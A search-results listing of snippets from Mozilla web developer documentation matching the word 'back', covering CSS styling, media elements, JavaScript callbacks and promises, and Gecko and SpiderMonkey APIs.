... ie6 and lower */ /* * ui slider */ .slidergroup { height: 20px; margin: 10px 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-user-select: none; user-select: none; } .slidergroup * { float: left; height: 100%; line-height: 100%; } /* slider */ .ui-slider { height: 10px; width: 200px; margin: 4px 10px; display: block; border: 1px solid #999; border-radius: 3px;
background: #eee; } .ui-slider:hover { cursor: pointer; } .ui-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-slider-pointer { width: 13px; height: 13px;
background-color: #eee; border: 1px solid #2c9fc9; border-radius: 3px; position: relative; top: -3px; left: 0%; } .ui-slider-btn-set { width: 25px;
background-color: #2c9fc9; bor...
...And 25 more matches
Using CSS transitions - CSS: Cascading Style Sheets
transition-duration: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px;
background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height
background-color font-size left top transform -webkit-transform color; -webkit-transition-duration: 0.5s; -webkit-transition-timing-function: ease-in-out; transition-property: width height
background-color font-size left top transform -webkit-transfo...
...rm color; transition-duration: 0.5s; transition-timing-function: ease-in-out; } .box1{ transform: rotate(270deg); -webkit-transform: rotate(270deg); width: 50px; height: 50px;
background-color: blue; color: yellow; font-size: 18px; left: 150px; top: 25px; position: absolute; -webkit-transition-property: width height
background-color font-size left top transform -webkit-transform color; -webkit-transition-duration: 0.5s; -webkit-transition-timing-function: ease-in-out; transition-property: width height
background-color font-size left top transform -webkit-transformv color; transition-duration: 0.5s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); i...
...f (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-duration: 1s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px;
background-color: red; font-size: 20px; left: 0px; top: 0px; position: absolute; -webkit-transition-property: width height
background-color font-size left top -webkit-transform color; -webkit-transition-duration: 1s; -webkit-transition-timing-function: ease-in-out; transition-property: width height
background-color font-size left top transform color; transition-duration: 1s...
...And 24 more matches
<blend-mode> - CSS: Cascading Style Sheets
it is used in the
background-blend-mode and mix-blend-mode properties.
... <div id="div"></div> #div { width: 300px; height: 300px;
background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png');
background-blend-mode: normal; } multiply the final color is the result of multiplying the top and bottom colors.
... <div id="div"></div> #div { width: 300px; height: 300px;
background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png');
background-blend-mode: multiply; } screen the final color is the result of inverting the colors, multiplying them, and inverting that value.
...And 24 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
polyfill if you need to pass one or more arguments to your call
back function, but need it to work in browsers which don't support sending additional arguments using either settimeout() or setinterval() (e.g., internet explorer 9 and below), you can include this polyfill to enable the html5 standard arguments-passing functionality.
... just add this code to the top of your script: /*\ |*| |*| polyfill which enables the passage of arbitrary arguments to the |*| call
back functions of javascript timers (html5 standard syntax).
...id = window.settimeout(code, delay); |*| var intervalid = window.setinterval(func, delay[, arg1, arg2, ...]); |*| var intervalid = window.setinterval(code, delay); |*| \*/ (function() { settimeout(function(arg1) { if (arg1 === 'test') { // feature test is passed, no need for polyfill return; } var __nativest__ = window.settimeout; window.settimeout = function(vcall
back, ndelay /*, argumenttopass1, argumenttopass2, etc.
...And 23 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
the html video element (<video>) embeds a media player which supports video play
back into the document.
... the content inside the opening and closing <video></video> tags is shown as a fall
back in browsers that don't support the element.
... autoplay a boolean attribute; if specified, the video automatically begins to play
back as soon as it can do so without stopping to finish loading the data.
...And 23 more matches
Introducing asynchronous JavaScript - Learn web development
there are two main types of asynchronous code style you'll come across in javascript code, old-style call
backs and newer promise-style code.
... async call
backs async call
backs are functions that are specified as arguments when calling a function which will start executing code in the
background.
... when the
background code finishes running, it calls the call
back function to let you know the work is done, or to let you know that something of interest has happened.
...And 21 more matches
L20n Javascript API
alternatively, you can register call
backs to execute when the context is ready (or when globals change and translations need to be updated) with ctx.localize.
... ctx.registerlocales('en-us', ['ar', 'es-ar', 'es-es', 'en-us', 'fr', 'pl']); defaultlocale is the original language of the context instance and will be used as the last fall
back locale if other locales are registered.
...this array (with defaultlocale appended to it if it is not already present) will be used to negotiate the fall
back chain for the user.
...And 21 more matches
Audio and Video Delivery - Developer guides
if the browser doesn't support play
back of any of the provided formats natively, either present a still image or use a fall
back technology to present the video.
... html audio <audio controls preload="auto"> <source src="audiofile.mp3" type="audio/mpeg"> <!-- fall
back for browsers that don't support mp3 --> <source src="audiofile.ogg" type="audio/ogg"> <!-- fall
back for browsers that don't support audio tag --> <a href="audiofile.mp3">download audio</a> </audio> the code above will create an audio player that attempts to preload as much audio as possible for smooth play
back.
... for further info see cross browser audio basics (html5 audio in detail) html video <video controls width="640" height="480" poster="initialimage.png" autoplay muted> <source src="videofile.mp4" type="video/mp4"> <!-- fall
back for browsers that don't support mp4 --> <source src="videofile.webm" type="video/webm"> <!-- specifying subtitle files --> <track src="subtitles_en.vtt" kind="subtitles" srclang="en" label="english"> <track src="subtitles_no.vtt" kind="subtitles" srclang="no" label="norwegian"> <!-- fall
back for browsers that don't support video tag --> <a href="videofile.mp4">download video</a> </video> the code above creates a video player of dimensions 640x480 pixels, displaying a poster imag...
...And 20 more matches
Array.prototype.map() - JavaScript
syntax let new_array = arr.map(function call
back( currentvalue[, index[, array]]) { // return element for new_array }[, thisarg]) parameters call
back function that is called for every element of arr.
... each time call
back executes, the returned value is added to new_array.
... the call
back function accepts the following arguments: currentvalue the current element being processed in the array.
...And 20 more matches
How Mozilla's build system works
phases when you type mach build to build the tree, three high-level phases occur within the build system: system detection and validation preparation of the build
backend invocation of the build
backend phase 1: configure phase 1 centers around the configure script.
... config.status contains 2 parts: data structures representing the output of configure and a command-line interface for preparing, configuring, or generating an appropriate build
backend.
... a build
backend is merely a tool used to build the tree — like gnu make or tup.
...And 19 more matches
Using Promises - JavaScript
essentially, a promise is a returned object to which you attach call
backs, instead of passing call
backs into a function.
... imagine a function, createaudiofileasync(), which asynchronously generates a sound file given a configuration record and two call
back functions, one called if the audio file is successfully created, and the other called if an error occurs.
... here's some code that uses createaudiofileasync(): function successcall
back(result) { console.log("audio file ready at url: " + result); } function failurecall
back(error) { console.error("error generating audio file: " + error); } createaudiofileasync(audiosettings, successcall
back, failurecall
back); modern functions return a promise that you can attach your call
backs to instead: if createaudiofileasync() were rewritten to return a promise, using it could be as simple as this: createaudiofileasync(audiosettings).then(successcall
back, failurecall
back); that's shorthand for: const promise = createaudiofileasync(audiosettings); promise.then(successcall
back, failurecall
back); we call this an asynchronous function call.
...And 19 more matches
JSPropertyOp
jspropertyop and jsstrictpropertyop are the type of property getter and setter call
backs in the jsapi.
... they are also the types of the jsclass.addproperty, getproperty, and setproperty call
backs, which are called during object property accesses.
...in js_threadsafe builds, the javascript engine calls this call
back only from within an active request on cx.
...And 18 more matches
Using the CSS Painting API - Web APIs
the css paint api is designed to enable developers to programmatically define images which can then be used anywhere a css image can be invoked, such as css
background-image, border-image, mask-image, etc.
... to programmatically create an image used by a css stylesheet we need to work through a few steps: define a paint worklet using the registerpaint() function register the worklet include the paint() css function to elaborate over these steps, we're going to start by creating a half-highlight
background, like on this header: css paint worklet in an external script file, we employ the registerpaint() function to name our css paint worklet.
... we can use the css
background-size and
background-position properties to re-size or relocate this
background image, but this is the default size and placement of the yellow box we created in our paint worklet.
...And 18 more matches
Localizations and character encodings - Developer guides
firefox needs a fall
back encoding that it uses for non-conforming legacy content that doesn't declare its encoding.
... for most locales, the fall
back encoding is windows-1252 (often called iso-8859-1), which was the encoding emitted by most windows applications in the 1990s and a superset of the encoding emitted by most unix applications in the 1990s as a deployed in the america has and in western europe.
...in order to work with legacy content, some firefox localizations need a non-windows-1252 fall
back encoding.
...And 18 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
the content inside the opening and closing <audio></audio> tags is shown as a fall
back in browsers that don't support the element.
... autoplay a boolean attribute: if specified, the audio will automatically begin play
back as soon as it can do so, without waiting for the entire audio file to finish downloading.
... controls if this attribute is present, the browser will offer controls to allow the user to control audio play
back, including volume, seeking, and pause/resume play
back.
...And 18 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
automatically starting the play
back of audio (or videos with audio tracks) immediately upon page load can be an unwelcome surprise to users.
... autoplay and autoplay blocking the term autoplay refers to any feature that causes audio to begin to play without the user specifically requesting that play
back begin.
... this includes both the use of html attributes to autoplay media as well as the user of javascript code to start play
back outside the context of handling user input.
...And 18 more matches
Audio for Web games - Game development
audio is an important part of any game; it adds feed
back and atmosphere.
... many browsers will simply ignore any requests made by your game to automatically play audio; instead play
back for audio needs to be started by a user-initiated event, such as a click or tap.
... this means you will have to structure your audio play
back to take account of that.
...And 17 more matches
nsISelectionController
inherits from: nsiselectiondisplay last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void characterextendfor
backspace(); native code only!
... methods native code only!characterextendfor
backspace will extend the selection one character cell
backward in the document.
... this method is used internally for handling
backspace key only when we're after utf-16 surrogates.
...And 17 more matches
WebIDL bindings
call
back interfaces are used to represent script objects that browser code can call into.
... call
back interfaces call
back interfaces are represented in c++ as objects inheriting from mozilla::dom::call
backinterface, whose name, in the mozilla::dom namespace, matches the name of the call
back interface in the webidl.
... webidl call
back interfaces in sequences, dictionaries, owning unions, and variadic arguments are represented by refptr<foo> if nullable and owningnonnull<foo> otherwise.
...And 17 more matches
Border-image generator - CSS: Cascading Style Sheets
} /* input slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer;
background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right {
background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px;
background-color: #2c9fc9; bord...
...er-radius: 5px; color: #fff; font-weight: bold; line-height: 14px; text-align: center; } .ui-input-slider-btn-set:hover {
background-color: #379b4a; cursor: pointer; } /*************************************************************************************/ /*************************************************************************************/ /* * ui dropdown */ /* dropdown */ .ui-dropdown { height: 2em; width: 120px; font-family: "segoe ui", arial, helvetica, sans-serif; font-size: 12px;
background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png");
background-position: right center;
background-repeat: no-repeat;
background-color: #359740; position: relative; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; ...
... -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-dropdown:hover { cursor: pointer;
background-color: #208b20; } /* dropdown select button */ .ui-dropdown-select { height: inherit; padding: 0 0.75em; color: #fff; line-height: 2em; } /* dropdown list */ .ui-dropdown-list { width: 100%; height: 150px; max-height: 150px; margin: 0; padding: 0 0.3em; border: 3px solid #3490d2; border-color: #208b20;
background: #666;
background-color: #eef1f5; color: #000; position: absolute; top: 2em; left: 0; z-index: 100; overflow: hidden; transition: all 0.3s; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-dropdown-list:hover { overflow: auto; } .ui-dropdown-list[data-hidden='t...
...And 17 more matches
image() - CSS: Cascading Style Sheets
the image() css function defines an <image> in a similar fashion to the <url> function, but with added functionality including specifying the image's directionality, specifying fall
back images for when the preferred image is not supported, displaying just a part of that image defined by a media fragment, and specifying a solid color as a fall
back in case none of the specified images are able to be rendered.
... coloroptional a color, specifying a solid
background color to use as a fall
back if no image-src is found, supported, or declared.
...the syntax looks like so:
background-image: image('myimage.webp#xywh=0,20,40,60'); the
background image of the element will be the portion of the image myimage.webp that starts at the coordinate 0px, 20px (the top left hand corner) and is 40px wide and 60px tall.
...And 17 more matches
HTTP Index - HTTP
when this happens, the user needs to turn cors
back on in their browser.
...the browser may store it and send it
back with the next request to the same server.
...the apis that are restricted are: 81 csp: default-src csp, content-security-policy, directive, http, reference, security, default, default-src, source the http content-security-policy (csp) default-src directive serves as a fall
back for the other csp fetch directives.
...And 17 more matches
CSS property compatibility table for form controls - Learn web development
rendering for each property there are two possible renderings: n (normal) indicates that the property is applied as it is t (tweaked) indicates that the property is applied with the extra rule below: * { /* turn off the native look and feel */ -webkit-appearance: none; appearance: none; /* for internet explorer */
background: none; } compatibility tables global behaviors some behaviors are common to many browsers at a global level: border,
background, border-radius, height using one of these properties can partially or fully turn off the native look & feel of widgets on some browsers.
... on windows 7, internet explorer 9 does not apply the border unless
background:none is applied.
... on windows 7, internet explorer 9 does not apply the border unless
background:none is applied.
...And 16 more matches
Video and Audio APIs - Learn web development
previous overview: client-side web apis next html5 comes with elements for embedding rich media in documents — <video> and <audio> — which in turn come with their own apis for controlling play
back, seeking, etc.
... this article shows you how to do common tasks such as creating custom play
back controls.
... prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to use browser apis to control video and audio play
back.
...And 16 more matches
HTTP Cache
not specified, this storage will operate over all existing app caches the service also provides methods to clear the whole disk and memory cache content or purge any intermediate memory structures: clear – after it returns, all entries are no longer accessible through the cache apis; the method is fast to execute and non-blocking in any way; the actual erase happens in
background purgefrommemory – removes (schedules to remove) any intermediate cache data held in memory for faster access (more about the intermediate cache below) nsiloadcontextinfo distinguishes the scope of the storage demanded to open.
... unimplemented or underimplemented functionality: asyncevictstorage (bug 977766), asyncvisitstorage (bug 916052) nsicacheentryopencall
back //github.com/realityripple/uxp/blob/master/netwerk/cache2/nsicacheentryopencall
back.idl the result of nsicachestorage.asyncopenuri is always and only sent to call
backs on this interface.
... these call
backs are ensured to be invoked when asyncopenuri returns ns_ok.
...And 16 more matches
Shell global objects
calling this function will replace any call
back set by setinterruptcall
back.
... interruptif(cond) requests interrupt call
back if cond is true.
... if a call
back function is set via timeout or setinterruptcall
back, it will be called.
...And 16 more matches
nsITimer
method overview void cancel(); void init(in nsiobserver aobserver, in unsigned long adelay, in unsigned long atype); void initwithcall
back(in nsitimercall
back acall
back, in unsigned long adelay, in unsigned long atype); void initwithfunccall
back(in nstimercall
backfunc acall
back, in voidptr aclosure, in unsigned long adelay, in unsigned long atype); native code only!
... attributes attribute type description call
back nsitimercall
back the nsitimercall
back object passed to initwithcall
back().
... closure voidptr the opaque pointer pass to initwithfunccall
back().
...And 16 more matches
Timing element visibility with the Intersection Observer API - Web APIs
the basics we provide styles for the <body> and <main> elements to define the site's
background as well as the grid the various parts of the site will be placed in.
... body { font-family: "open sans", "arial", "helvetica", sans-serif;
background-color: aliceblue; } .wrapper { display: grid; grid-template-columns: auto minmax(min-content, 1fr); grid-template-rows: auto minmax(min-content, 1fr); max-width: 700px; margin: 0 auto;
background-color: aliceblue; } the site's <body> is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the
background color.
...its style looks like this: header { grid-column: 1 / -1; grid-row: 1;
background-color: aliceblue; } grid-row is set to 1, since we want the header to be placed in the top row of the site's grid.
...And 16 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
at a fundamental level, the color property defines the foreground color of an html element's content and the
background-color property defines the element's
background color.
... text whenever an element is rendered, these properties are used to determine the color of the text, its
background, and any decorations on the text.
...
background-color the text's
background color.
...And 16 more matches
Examples - Archive of obsolete content
</p> </body> </html>
back to the article problem 2 <!-- this file should have a .xhtml extension --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 2 - comments in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8...
..." /> <style type="text/css"> <!-- body {
background-color: blue; color: yellow; } --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> </head> <body> <h1>problem 2 - comments in xhtml</h1> <p> this document is valid xhtml 1.0 strict served as <code>application/xhtml+xml</code>.
....</dd> <dt>netscape 7.0x/mozilla 1.0.x</dt> <dd>do not apply css but does execute the javascript.</dd> <dt>internet explorer 5.5+</dt> <dd>can not display the document.</dd> </dl> <p> <a href="http://validator.w3.org/check/referer"><img src="https://udn.realityripple.com/samples/8a/9e64asf935.png" alt="valid xhtml 1.0!" height="31" width="88" /></a> </p> </body> </html>
back to the article problem 3 <!-- this file should have a .xhtml extension and will generate an error when parsed.
...And 15 more matches
NSS PKCS11 Functions
back to the nss reference main page.
...for example, if you would normally specify tokens=<0x4=[configdir='./my
backup' tokendescription='
backup']> to softoken if you at init time, then you could specify "configdir='./my
backup' tokendescription='
backup'" as your module spec here to open the database ./my
backup on the fly.
...passwordarg a pointer to application data for the password call
back function.
...And 15 more matches
Key Values - Web APIs
editing keys keyboardevent.key value description virtual keycode windows mac linux android "
backspace" the
backspace key.
... vk_
back (0x08) kvk_delete (0x33) gdk_key_
backspace (0xff08) qt::key_
backspace (0x01000003) keycode_del (67) "clear" the clear key.
... appcommand_undo gdk_key_undo (0xff65) [1] on keyboards without a dedicated del key, the mac generates the "delete" value when fn is pressed in tandem with delete (which is
backspace on other platforms).
...And 15 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
perfect negotiation works by assigning each of the two peers a role to play in the negotiation process that's entirely separate from the webrtc connection state: a polite peer, which uses ice roll
back to prevent collisions with incoming offers.
... once the offer has been created, set and sent (or an error occurs), makingoffer gets set
back to false.
... if we're the polite peer, and we're receiving a colliding offer, we don't need to do anything special, because our existing offer will automatically be rolled
back in the next step.
...And 15 more matches
Indexed collections - JavaScript
let myarray = new array('wind', 'rain', 'fire') myarray.sort() // sorts the array so that myarray = ["fire", "rain", "wind"] sort() can also take a call
back function to determine how array elements are compared.
... the sort method (and others below) that take a call
back are known as iterative methods, because they iterate over the entire array in some fashion.
...if provided, thisobject becomes the value of the this keyword inside the body of the call
back function.
...And 15 more matches
Array.prototype.every() - JavaScript
syntax arr.every(call
back(element[, index[, array]])[, thisarg]) parameters call
back a function to test for each element, taking three arguments: element the current element being processed in the array.
... thisarg optional a value to use as this when executing call
back.
... return value true if the call
back function returns a truthy value for every array element.
...And 15 more matches
FinalizationRegistry - JavaScript
a finalizationregistry object lets you request a call
back when an object is garbage-collected.
... description finalizationregistry provides a way to request that a cleanup call
back get called at some point when an object registered with the registry has been reclaimed (garbage-collected).
... (cleanup call
backs are sometimes called finalizers.) note: cleanup call
backs should not be used for essential program logic.
...And 15 more matches
Floats - Learn web development
the
background of floats the float property was introduced to allow web developers to implement simple layouts involving an image floating inside a column of text, with the text wrapping around the left or right of it.
...cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> now apply the following css to your html (using a <style> element or a <link> to a separate .css file — your choice): body { width: 90%; max-width: 900px; margin: 0 auto; font: .9em/1.2 arial, helvetica, sans-serif } .box { width: 150px; height: 100px; border-radius: 5px;
background-color: rgb(207,232,220); padding: 1em; } if you save and refresh now, you'll see something much like what you'd expect — the box is sitting above the text, in normal flow.
... to float the text around it add the float and margin-right properties to the .box rule: .box { float: left; margin-right: 15px; width: 150px; height: 100px; border-radius: 5px;
background-color: rgb(207,232,220); padding: 1em; } now if you save and refresh you'll see something like the following: float example 1 <h1>simple float example</h1> <div class="box">float</div> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...And 14 more matches
How CSS is structured - Learn web development
you reference an external css stylesheet from an html <link> element: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <link rel="stylesheet" href="styles.css"> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> the css stylesheet file might look like this: h1 { color: blue;
background-color: yellow; border: 1px solid black; } p { color: red; } the href attribute of the <link> element needs to reference a file on your file system.
... the html for an internal stylesheet might look like this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <style> h1 { color: blue;
background-color: yellow; border: 1px solid black; } p { color: red; } </style> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> in some circumstances, internal stylesheets can be useful.
...the implementation of an inline style in an html document might look like this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> </head> <body> <h1 style="color: blue;
background-color: yellow;border: 1px solid black;">hello world!</h1> <p style="color:red;">this is my first css example</p> </body> </html> avoid using css in this way when possible.
...And 14 more matches
Choosing the right approach - Learn web development
asynchronous call
backs generally found in old-style apis, involves a function being passed into another function as a parameter, which is then invoked when an asynchronous operation has been completed, so that the call
back can in turn do something with the result.
... single delayed operation repeating operation multiple sequential operations multiple simultaneous operations no yes (recursive call
backs) yes (nested call
backs) no code example an example that loads a resource via the xmlhttprequest api (run it live, and see the source): function loadasset(url, type, call
back) { let xhr = new xmlhttprequest(); xhr.open('get', url); xhr.responsetype = type; xhr.onload = function() { call
back(xhr.response); }; xhr.send(); } function displayimage(blob) { let objecturl = url.createobjecturl(blob); let image = document.createelement('img'); image.src = objecturl; document.body.ap...
...pendchild(image); } loadasset('coffee.jpg', 'blob', displayimage); pitfalls nested call
backs can be cumbersome and hard to read (i.e.
...And 14 more matches
tabs - Archive of obsolete content
: ' + tabs[tabs.length-1].title); }); you can access the currently active tab: var tabs = require('sdk/tabs'); tabs.on('activate', function () { console.log('active: ' + tabs.activetab.url); }); track a single tab given a tab, you can register event listeners to be notified when the tab is closed, activated or deactivated, or when the page hosted by the tab is loaded or retrieved from the "
back-forward cache": var tabs = require("sdk/tabs"); function onopen(tab) { console.log(tab.url + " is open"); tab.on("pageshow", logshow); tab.on("activate", logactivate); tab.on("deactivate", logdeactivate); tab.on("close", logclose); } function logshow(tab) { console.log(tab.url + " is loaded"); } function logactivate(tab) { console.log(tab.url + " is activated"); } function logd...
... to convert
back the other way, from a xul tab to a high-level tab object, use the modelfor() function, exported by the modelfor module.
... here's an example converting from a high-level tab to a xul tab and then
back the other way: var { modelfor } = require("sdk/model/core"); var { viewfor } = require("sdk/view/core"); var tabs = require("sdk/tabs"); var tab_utils = require("sdk/tabs/utils"); function maphighleveltolowlevel(tab) { // get the xul tab that corresponds to this high-level tab var lowleveltab = viewfor(tab); // now we can, for example, access the tab's content directly var browser = tab_utils.getbrowserfortab(lowleveltab); console.log(browser.contentdocument.body.innerhtml); // get the high-level tab
back from the xul tab var highleveltab = modelfor(lowleveltab); console.log(highleveltab.url); } tabs.on("ready", maphighleveltolowlevel); note that directly accessing xul objects and web content ...
...And 13 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
to represent a color through which the
background can be seen to some extent, a fourth channel is added to the color: the alpha channel.
... 63 call
back function call
back, call
back function, codingscripting, glossary a call
back function is a function passed into another function as an argument, which is then invoked inside the outer function to complete some kind of routine or action.
... 75 cipher cryptography, glossary, privacy, security in cryptography, a cipher is an algorithm that can encode cleartext to make it unreadable, and to decode it
back.
...And 13 more matches
Index - Learn web development
beginner, tutorial, webmechanics the internet is the
backbone of the web, the technical infrastructure that makes the web possible.
...to explain what links are, we need to step
back to the very basics of web architecture.
... for example, take the following line of content: 40 how the web works beginner, client, dns, http, ip, infrastructure, learn, server, tcp, l10n:priority this theory is not essential to writing web code in the short term, but before long you'll really start to benefit from understanding what's happening in the
background.
...And 13 more matches
Handling common HTML and CSS problems - Learn web development
in general, most core html and css functionality (such as basic html elements, css basic colors and text styling) works across most browsers you'll want to support; more problems are uncovered when you start wanting to use newer features such as flexbox, or html5 video/audio, or even more nascent, css grids or -webkit-
background-clip: text.
... html fall
back behaviour some problems can be solved by just taking advantage of the natural way in which html/css work.
... more complex elements like html <video>, <audio>, and <canvas> (and other features besides) have natural mechanisms for fall
backs to be added, which work on the same principle as described above.
...And 13 more matches
Using the Browser API
demo to demonstrate basic usage of this api, we have created a simple browser api demo that provides buttons allowing you to (re)load web pages, stop loading, move forward and
back in history, and zoom in and out of the page.
... the javascript implementation to wire up the functionality required by our simple browser, we've written some basic javascript (see the full javascript listing.) wiring up the
back and forward buttons early on in the code we implement two simple event listeners to move the browser
back and forward in history when the relevant buttons are pressed:
back.addeventlistener('touchend',function() { browser.go
back(); }); fwd.addeventlistener('touchend',function() { browser.goforward(); }); the functions can be handled using the browser api htmliframeelement.go
back() and htm...
... enabling/disabling the
back and forward buttons you will also notice after a bit of surfing that the
back and forward buttons are disabled when you cannot move
backwards/forwards, and enabled when you can.
...And 13 more matches
pkfnc.html
wincx a pointer to application data for the password call
back function.
... the pk11_findcertfromnickname function calls the password call
back function set with pk11_setpasswordfunc and passes it the pointer specified by the wincx parameter.
... wincx a pointer to application data for the password call
back function.
...And 13 more matches
HTMLMediaElement - Web APIs
htmlmediaelement.autoplay a boolean that reflects the autoplay html attribute, indicating whether play
back should automatically begin as soon as enough media is available to do so without interruption.
...the domtokenlist takes one or more of three possible values: nodownload, nofullscreen, and noremoteplay
back.
... htmlmediaelement.currenttime a double-precision floating-point value indicating the current play
back time in seconds; if the media has not started to play and has not been seeked, this value is the media's initial play
back time.
...And 13 more matches
Cross-browser audio basics - Developer guides
ide to creating a cross-browser html5 audio player with all the associated attributes, properties, and events explained a guide to custom controls created using the media api basic audio example the code below is an example of a basic audio implementation using html5: <audio controls> <source src="audiofile.mp3" type="audio/mpeg"> <source src="audiofile.ogg" type="audio/ogg"> <!-- fall
back for non supporting browsers goes here --> <p>your browser does not support html5 audio, but you can still <a href="audiofile.mp3">download the music</a>.</p> </audio> note: you can also use an mp4 file instead of mp3.
...so the ideal place to create a fall
back or inform of incompatibility is before the closing </audio> tag.
... the controls attribute on the <audio> element is specified when we require the browser to provide us with default play
back controls.
...And 13 more matches
Web video codec guide - Web media technologies
just as audio codecs do for the sound data, video codecs compress the video data and encode it into a format that can later be decoded and played
back or edited.
...some lossless codecs do exist, but they are typically used for archival and storage for local play
back rather than for use on a network.
...this happens when an algorithm that uses blocks that span across a sharp boundary between an object and its
background.
...And 13 more matches
Mobile accessibility - Learn web development
let's look at the main two: talk
back on android and voiceover on ios.
... android talk
back the talk
back screen reader is built into the android operating system.
... to turn it on, look up what phone model and android version you have, and then look up where the talk
back menu is.
...And 12 more matches
Supporting older browsers - Learn web development
one option is to leave this plain view of the site as the fall
back for people using very old or limited browsers.
...there is a middle ground between a plain html page and all the bells and whistles, and css has actually made creating these fall
backs pretty straightforward.
... creating fall
backs in css css specifications contain information that explains what the browser does when two layout methods are applied to the same item.
...And 12 more matches
create fancy boxes - Learn web development
on the technical side, creating fancy boxes are all about mastering css border and
background properties and how to apply them to a given box.
... its
background properties:
background,
background-color,
background-image,
background-position,
background-size, etc.
... you could also use a
background, as
backgrounds are clipped by border radius */ border : 0.5em solid black; /* let's make sure we have a square.
...And 12 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
in any case, these functions are used for running constant animations and other
background processing on a web site or application.
...the call
backs you pass to these functions cannot run until the stack on the main thread is empty.
...if you execute code like settimeout(fn, 0) but then immediately after run a loop that counts from 1 to 10 billion, your call
back will be executed after a few seconds.
...And 12 more matches
sslintro.html
an ssl application typically includes five parts: initialization configuration communication functions used by call
backs cleanup although the details differ somewhat for client and server applications, the concepts and many of the functions are the same for both.
... initialization initialization includes setting up configuration files, setting global defaults, and setting up call
back functions.
...sets the global call
back function to obtain passwords for pkcs #11 modules.
...And 12 more matches
JSAPI reference
ts js_init added in spidermonkey 31 js_shutdown struct jsruntime js_newruntimeobsolete since jsapi 52 js_destroyruntime js_getruntimeprivate js_setruntimeprivate js_setnativestackquota added in spidermonkey 17 js_contextiteratorobsolete since jsapi 52 js_finish obsolete since jsapi 19 struct jscontext js_newcontext js_destroycontext js_destroycontextnogc js_setcontextcall
back enum jscontextop js_getruntime js_getparentruntime added in spidermonkey 31 js_getobjectruntime added in spidermonkey 17 js_getcontextprivate js_setcontextprivate js_getsecondcontextprivate added in spidermonkey 17 js_setsecondcontextprivate added in spidermonkey 17 js_setinterruptcall
back added in spidermonkey 31 js_getinterruptcall
back added in spidermonkey 31 js_r...
...equestinterruptcall
back added in spidermonkey 31 js_checkforinterrupt added in jsapi 45 js_destroycontextmaybegc obsolete since jsapi 14 js_setbranchcall
back obsolete since javascript 1.9.1 js_setoperationcall
back obsolete since jsapi 30 js_getoperationcall
back obsolete since jsapi 30 js_triggeroperationcall
back obsolete since jsapi 30 js_clearoperationcall
back obsolete since javascript 1.9.1 js_getoperationlimit obsolete since javascript 1.9.1 js_setoperationlimit obsolete since javascript 1.9.1 js_max_operation_limit obsolete since javascript 1.9.1 js_operation_weight_base obsolete since javascript 1.9.1 js_setthreadstacklimit obsolete since jsapi 13 js_setscriptstackquota obsolete since javascript 1.8.6 js_setoptions obsolete since jsapi 27 js_getoptions obsolete since ...
...n spidermonkey 24 js_newglobalobject added in spidermonkey 17 js_entercompartment added in spidermonkey 24 js_leavecompartment added in spidermonkey 24 js_getcompartmentprivate added in spidermonkey 1.8.5 js_setcompartmentprivate added in spidermonkey 1.8.5 js_getglobalforcompartmentornull added in spidermonkey 17 js_iteratecompartments added in spidermonkey 17 js_setdestroycompartmentcall
back added in spidermonkey 17 js_setcompartmentnamecall
